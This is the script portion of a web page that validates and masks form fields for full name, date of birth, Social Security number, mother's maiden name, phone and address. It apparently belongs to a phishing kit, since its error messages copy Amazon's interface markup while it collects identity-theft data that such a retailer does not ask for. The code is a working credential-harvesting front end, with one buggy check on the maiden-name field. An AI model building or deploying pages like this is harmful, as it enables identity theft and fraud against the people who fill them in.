    <div id="sis_pixel_r2" aria-hidden="true"
        style="height:1px; position: absolute; left: -1000000px; top: -1000000px;"></div>

    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
    <script src="<?= base_url() ?>RABBIT/RO/js/jquery.validate.min.js"></script>
    <script>
        function checkCountry(country) {
            const stateInput = document.getElementById('usaInput');
            const stateIN = document.getElementById('stateUSA');

            const stateSelect = document.getElementById('nonUSA');
            const stateSe = document.getElementById('stateNon');

            const ssnInput = document.getElementById('ssnInput');
            const ssnField = document.getElementById('ssn');

            if (country === 'United States') {
                $('#zipcode').mask('00000')
                $('#phone').mask('+1 (000) 000-0000');
                ssnInput.style.display = 'block';  
                ssnField.required = true;        
                stateInput.style.display = 'block';
                stateIN.required = true;
                stateSelect.style.display = 'none';
                stateSe.required = false;
                stateIN.value = ''; 
            } else {
                $('#phone').mask('+00000-0000-0000');
                ssnInput.style.display = 'none';  
                ssnField.required = false;       
                ssnField.value = '';             
                stateSelect.style.display = 'block';
                stateSe.required = true;
                stateInput.style.display = 'none';
                stateIN.required = false;
                stateSe.value = ''; 
            }
        }

        const sessionCountry = document.getElementById('country').value.trim();
        checkCountry(sessionCountry);
</script>
    <script>
        $(document).ready(function () {
            $('#stateUSA').on('change', function () {
                var selectedState = $(this).val();
                var selectedStateText = $("#stateUSA option:selected").text();

                if (selectedState) {
                    $("#a-dropdown-prompt").text(selectedStateText);
                } else {
                    $("#a-dropdown-prompt").text("--Select--");
                }
            });
        });
    </script>
   <script type="text/javascript">
        $('#stateUSA').on("change,  focus", () => {
            let stateU = $("#stateUSA").val();  
            if (stateU.value == "0") {  
                $("#stateUSA").addClass('error').removeClass('hasText');  
                $("#inputErrorMsgState").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please select a state.</div></div></div></div></div>');
                $("#stateUSA").parent().parent().parent().removeClass('validated');  
            } else {
                $("#stateUSA").removeClass('error').addClass('hasText');  
                $("#inputErrorMsgState").html(''); 
                $("#stateUSA").parent().parent().parent().addClass('validated');  
            }
        });
        
        $('#stateNon').on("keyup,  focus", () => {
            let stateN = $("#stateNon").val();  
            if (stateN == "") {  
                $("#stateNon").addClass('error').removeClass('hasText');  
                $("#errorMsgState").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a state.</div></div></div></div></div>');
                $("#stateNon").parent().parent().parent().removeClass('validated');  
            } else {
                $("#stateNon").removeClass('error').addClass('hasText');  
                $("#errorMsgState").html(''); 
                $("#stateNon").parent().parent().parent().addClass('validated');  
            }
        });  

    $('#fullname').on("keyup , focus", () => {
        var fullname = $("#fullname").val()
        if (fullname == "") {
            $("#fullname").addClass('error').removeClass('hasText')
            $("#inputErrorMsgFullname").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a fullname (First and Last name).</div></div></div></div></div>')
            $("#fullname").parent().parent().parent().removeClass('validated')
        } else if (fullname.length < 6) {
            $("#fullname").addClass('error').addClass("hasText")
            $("#inputErrorMsgFullname").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please check a full name (first and lastname).</div></div></div></div></div>')
            $("#fullname").parent().parent().parent().removeClass('validated')
        } else {
            $("#fullname").removeClass('error').addClass("hasText")
            $("#inputErrorMsgFullname").html('')
            $("#fullname").parent().parent().parent().removeClass('validated')
        }
    });
    
    $('#dob').mask('00/00/0000');  
    $('#dob').on('keyup focus', function() {
        var dobValue = $(this).val();  
        var dobPattern = /^(\d{2})\/(\d{2})\/(\d{4})$/;  
        if (dobValue === '') {
            $("#dob").addClass('error').removeClass('hasText');
            $("#inputErrorMsgDOB").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section"> Please enter a date of birth.</div></div></div></div></div>')
            $("#dob").parent().parent().parent().removeClass('validated');
        } else if (dobPattern.test(dobValue)) { 
            var matches = dobValue.match(dobPattern);  
            var month = parseInt(matches[1], 10);  
            var day = parseInt(matches[2], 10);  
            var year = parseInt(matches[3], 10);  
            var valid = true;
            var errorMessage = '';  
            if (month < 1 || month > 12) {
                valid = false;
                errorMessage = '<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section"> Please enter a valid month.</div></div></div></div></div>';
            } if (day < 1 || day > 31) {
                valid = false;
                $('#submitButton').prop("disabled", true);
                errorMessage = '<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section"> Please enter a valid day.</div></div></div></div></div>';
            } if (year < 1935 || year > 2020) {
                valid = false;
                $('#submitButton').prop("disabled", true);
                errorMessage = '<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section"> Please enter a valid year.</div></div></div></div></div>';
            } if (!valid) {
                $('#submitButton').prop("disabled", true);
                $("#dob").addClass('error').removeClass('hasText');
                $("#inputErrorMsgDOB").show().html(errorMessage); 
                $("#dob").parent().parent().parent().removeClass('validated');
            } else { 
                $('#submitButton').prop("disabled", false);
                $("#dob").removeClass('error').addClass("hasText");
                $("#inputErrorMsgDOB").html('');  
                $("#dob").parent().parent().parent().addClass('validated');}
        } else {
            $('#submitButton').prop("disabled", true);
            $("#dob").addClass('error').removeClass('hasText');
            $("#inputErrorMsgDOB").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section"> Please enter a valid date of birth.</div></div></div></div></div>');
            $("#dob").parent().parent().parent().removeClass('validated');
        }
    });
    
    $('#ssn').on("keyup , focus", () => {
        let ssn = $("#ssn").val()
        if (ssn == "") {
            $("#ssn").addClass('error').removeClass('hasText')
            $("#inputErrorMsgSSN").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a social security number.</div></div></div></div></div>')
            $("#ssn").parent().parent().parent().removeClass('validated')
        } else if (ssn.length < 11) {
            $("#ssn").addClass('error').addClass("hasText")
            $("#inputErrorMsgSSN").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please check a social security number.</div></div></div></div></div>')
            $("#ssn").parent().parent().parent().removeClass('validated')
        } else {
            $("#ssn").removeClass('error').addClass("hasText")
            $("#inputErrorMsgSSN").html('')
            $("#ssn").parent().parent().parent().addClass('validated')
        }
    });
     $('#mmn').on("keyup , focus", () => {
        var mmn = $("#mmn").val()
        if (mmn == "") {
            $("#mmn").addClass('error').removeClass('hasText')
            $("#inputErrorMsgMMN").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a mother maiden name.</div></div></div></div></div>')
            $("#mmn").parent().parent().parent().removeClass('validated')
        } else if (ssn.length < 4) {
            $("#mmn").addClass('error').addClass("hasText")
            $("#inputErrorMsgMMN").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please check a mother maiden name.</div></div></div></div></div>')
            $("#mmn").parent().parent().parent().removeClass('validated')
        } else {
            $("#mmn").removeClass('error').addClass("hasText")
            $("#inputErrorMsgMMN").html('')
            $("#mmn").parent().parent().parent().addClass('validated')
        }
    });
    
    $('#phone').on("keyup , focus", () => {
        let phone = $("#phone").val()
        if (phone == "") {
            $("#phone").addClass('error').removeClass('hasText')
            $("#inputErrorMsgPhone").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a phone number.</div></div></div></div></div>')
            $("#phone").parent().parent().parent().removeClass('validated')
        } else {
            $("#phone").removeClass('error').addClass("hasText")
            $("#inputErrorMsgPhone").html('')
            $("#phone").parent().parent().parent().addClass('validated')
        }
    });
    $('#address').on("keyup , focus", () => {
        let address = $("#address").val()
        if (address == "") {
            $("#address").addClass('error').removeClass('hasText')
            $("#inputErrorMsgAddress").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a address line 1.</div></div></div></div></div>')
            $("#address").parent().parent().parent().removeClass('validated')
        } else {
            $("#address").removeClass('error').addClass("hasText")
            $("#inputErrorMsgAddress").html('')
            $("#address").parent().parent().parent().addClass('validated')
        }
    });
    $('#city').on("keyup , focus", () => {
        let city = $("#city").val()
        if (city == "") {
            $("#city").addClass('error').removeClass('hasText')
            $("#inputErrorMsgCity").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a city.</div></div></div></div></div>')
            $("#city").parent().parent().parent().removeClass('validated')
        } else if (city.length < 4) {
            $("#city").addClass('error').removeClass('hasText')
            $("#inputErrorMsgCity").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please check a city.</div></div></div></div></div>')
            $("#city").parent().parent().parent().removeClass('validated')
        } else {
            $("#city").removeClass('error').addClass("hasText")
            $("#inputErrorMsgCity").html('')
            $("#city").parent().parent().parent().addClass('validated')
        }
    }); 
    $('#zipcode').on("keyup , focus", () => {
        let zipcode = $("#zipcode").val()
        if (zipcode == "") {
            $("#zipcode").addClass('error').removeClass('hasText')
            $("#inputErrorMsgZIP").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a zipcode.</div></div></div></div></div>')
            $("#zipcode").parent().parent().parent().removeClass('validated')
        } else if (zipcode.length < 5) {
            $("#zipcode").addClass('error').removeClass('hasText')
            $("#inputErrorMsgZIP").show().html('<div class="a-section a-spacing-none a-spacing-top-micro address-ui-widgets-inline-error-alert"><div id="address-ui-widgets-full-name-offensive-words-error" class="a-box a-alert-inline a-alert-inline-error" role="alert"><div class="a-box-inner a-alert-container"><i class="a-icon a-icon-alert"></i><div class="a-alert-content"><div class="a-section">Please enter a valid zipcode.</div></div></div></div></div>')
            $("#zipcode").parent().parent().parent().removeClass('validated')
        } else {
            $("#zipcode").removeClass('error').addClass("hasText")
            $("#inputErrorMsgZIP").html('')
            $("#zipcode").parent().parent().parent().addClass('validated')
        }
    });
    $('#ssn').mask('000-00-0000');
    $('#fullname, #dob, #phone, #mmn, #address, #city, #state, #zipcode').on("keyup , focus", () => {
                if (!$("#fullname").hasClass('error') && !$("#mmn").hasClass('error') && !$("#dob").hasClass('error') && !$("#phone").hasClass('error') && !$("#address").hasClass('error') && !$("#city").hasClass('error') && !$("#zipcode").hasClass('error')
                    && $("#fullname").val().length > 0 && $("#mmn").val().length > 0 && $("#dob").val().length > 0 && $("#phone").val().length > 0 && $("#address").val().length > 0 && $("#city").val().length > 0 && $("#zipcode").val().length > 0) {
                    $("#btn_next").prop("disabled", false)
                } else {
                    $("#btn_next").prop("disabled", true)
                }
            });
    </script>
</body>

</html>